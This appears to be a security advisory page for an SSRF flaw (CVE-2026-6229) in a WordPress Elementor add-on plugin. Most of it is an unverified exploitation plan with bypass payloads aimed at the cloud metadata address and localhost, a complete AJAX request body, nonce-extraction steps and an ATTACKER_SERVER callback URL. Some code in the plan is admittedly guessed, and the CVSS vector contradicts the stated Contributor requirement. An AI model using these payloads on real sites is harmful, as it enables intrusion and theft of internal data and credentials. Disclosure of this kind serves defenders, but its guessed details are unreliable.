CVE-2026-6229

Royal Addons for Elementor <= 1.7.1057 - Authenticated (Contributor+) Server-Side Request Forgery via CSV URL Parameter

highServer-Side Request Forgery (SSRF)
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.7.1058
Patched in
1d
Time to patch

Description

The Royal Elementor Addons plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.7.1057. This is due to insufficient validation of user-supplied URLs in the render_csv_data() function, which can be bypassed by including 'docs.google.com/spreadsheets' in a query parameter, and the subsequent use of these URLs in fopen() calls without blocking internal or private network addresses. This makes it possible for authenticated attackers, with Contributor-level access and above, to make requests to arbitrary URLs and retrieve sensitive information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.1057
PublishedMay 1, 2026
Last updatedMay 2, 2026
Affected pluginroyal-elementor-addons

What Changed in the Fix

Changes introduced in v1.7.1058

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-6229 ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (versions <= 1.7.1057) contains a Server-Side Request Forgery (SSRF) vulnerability in its **Data Table** widget. The vulnerability exists in the `render_csv_data()` function (located in…

Show full research plan

Exploitation Research Plan: CVE-2026-6229

1. Vulnerability Summary

The Royal Addons for Elementor plugin (versions <= 1.7.1057) contains a Server-Side Request Forgery (SSRF) vulnerability in its Data Table widget. The vulnerability exists in the render_csv_data() function (located in modules/data-table/widgets/wpr-data-table.php).

The plugin attempts to validate that a user-provided CSV URL is hosted on Google Sheets by checking for the string docs.google.com/spreadsheets. However, this check is insufficient as it can be bypassed by appending the string as a query parameter to an arbitrary URL. The plugin then passes this URL to fopen(), allowing an authenticated attacker (Contributor+) to make requests to internal network resources and potentially retrieve sensitive data.

2. Attack Vector Analysis

  • Endpoint: POST /wp-admin/admin-ajax.php (via Elementor's render_widget or editor_save actions) or via the frontend by viewing a post containing the widget.
  • Vulnerable Action: elementor_ajax (standard Elementor AJAX handler).
  • Vulnerable Parameter: settings[csv_url] (or similar setting name for the CSV data source in the wpr-data-table widget).
  • Authentication: Authenticated (Contributor level or higher) is required to edit posts and add widgets.
  • Preconditions: The "Data Table" widget must be added to an Elementor-enabled post/page, and the "Data Type" (choose_table_type) must be set to the CSV option (internal ID pro-cv).

3. Code Flow

  1. Entry Point: A user with Contributor+ permissions edits an Elementor page or sends a direct AJAX request to render a widget.
  2. Widget Execution: The Wpr_Data_Table class (in modules/data-table/widgets/wpr-data-table.php) is instantiated.
  3. Render Logic: The render() method is called. If the choose_table_type setting is set to pro-cv, it invokes render_csv_data().
  4. Vulnerable Function: render_csv_data($settings) (inferred function name from description).
  5. Insufficient Validation:
    // Conceptual logic based on vulnerability description
    $url = $settings['csv_url']; 
    if ( strpos( $url, 'docs.google.com/spreadsheets' ) !== false ) {
        $handle = fopen( $url, 'r' ); // SSRF Sink
        // ... processing CSV data
    }
    
  6. SSRF Sink: fopen($url, 'r') is called with the attacker-controlled URL. Since internal IPs are not blocked, the request is made by the server.

4. Nonce Acquisition Strategy

Elementor uses its own AJAX infrastructure. To interact with the Elementor editor API as a Contributor:

  1. Create Page: Use WP-CLI to create a page with Elementor enabled or simply a page where we can edit.
    wp post create --post_type=page --post_title="SSRF Lab" --post_status=publish --post_author=CONTRIBUTOR_ID
    
  2. Access Editor: Navigate to the Elementor editor URL for that page: /wp-admin/post.php?post=POST_ID&action=elementor.
  3. Extract Nonce: Elementor stores its AJAX nonce in the elementorCommon or elementorConfig object.
    • Use browser_eval: window.elementorConfig?.ajax?.nonce or window.elementorCommon?.config?.ajax?.nonce.
  4. Alternative: If exploiting via the render_widget action, the nonce is often found in the page source of the editor.

5. Exploitation Strategy

Step 1: Craft the SSRF Payload

To bypass the domain check, append the required string as a parameter:

  • Target: Internal Metadata Service (e.g., http://169.254.169.254/latest/meta-data/)
  • Payload: http://169.254.169.254/latest/meta-data/?x=docs.google.com/spreadsheets
  • Target (Local): http://127.0.0.1:80/wp-admin/
  • Payload: http://127.0.0.1:80/wp-admin/?docs.google.com/spreadsheets

Step 2: Trigger SSRF via Elementor AJAX

We will use the elementor_ajax action to force the server to render the widget with our malicious settings.

Request:

  • URL: http://TARGET/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=elementor_ajax&
    actions={"render_widget":{"action":"render_widget","data":{"editorPostId":POST_ID,"widgetId":"random-id","model":{"id":"random-id","elType":"widget","widgetType":"wpr-data-table","settings":{"choose_table_type":"pro-cv","csv_url":"http://127.0.0.1:80/wp-admin/?docs.google.com/spreadsheets"}}}}}&
    _nonce=EXTRACTED_NONCE
    

Step 3: Capture Response

The plugin will attempt to parse the response from 127.0.0.1 as a CSV. If the internal service returns content, it may be reflected in the AJAX response under the render_widget data key, likely inside an HTML <table> structure.

6. Test Data Setup

  1. Plugin Installation: Ensure royal-elementor-addons v1.7.1057 is installed.
  2. User Creation: Create a Contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Internal Target: Ensure there is an internal service to hit (e.g., a simple local listener or the default WordPress login page on 127.0.0.1).

7. Expected Results

  • Success: The server response contains the HTML/content of the internal URL provided in csv_url, attempted to be rendered as table cells. For example, if hitting a local web server, you might see fragments of HTML within <td> tags in the JSON response.
  • Verification: The HTTP logs of the internal service (if accessible) should show a request originating from the WordPress server's IP with the User-Agent associated with PHP's fopen (often empty or the server's default).

8. Verification Steps

  1. Monitor Outbound Traffic: Use a tool like tcpdump or a webhook service (e.g., webhook.site) if testing external SSRF.
    • Payload: http://ATTACKER_SERVER/?docs.google.com/spreadsheets
  2. Check Table Output: Use wp_cli to check the post content if the widget was saved:
    wp post get POST_ID --field=post_content
    
  3. Error Logs: Check wp-content/debug.log. If the internal service doesn't return valid CSV data, fgetcsv() might trigger warnings visible in the log.

9. Alternative Approaches

  • Save and View: Instead of the render_widget AJAX action, use the editor_save_builder action to save the malicious settings to a post, then view the post on the frontend as an unauthenticated user (if published) to see if the SSRF triggers and renders data.
  • Protocol Smuggling: If fopen is used, check if other wrappers like php://filter are allowed (though strpos usually restricts this unless the attacker finds a clever way to include the Google string).
  • Pro Bypass: If the "Pro" check is enforced server-side, the attacker may need to find a way to set the choose_table_type to pro-cv by manipulating the JSON payload sent to the Elementor save_builder action, as the server-side code for rendering CSVs is often present in the free version.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.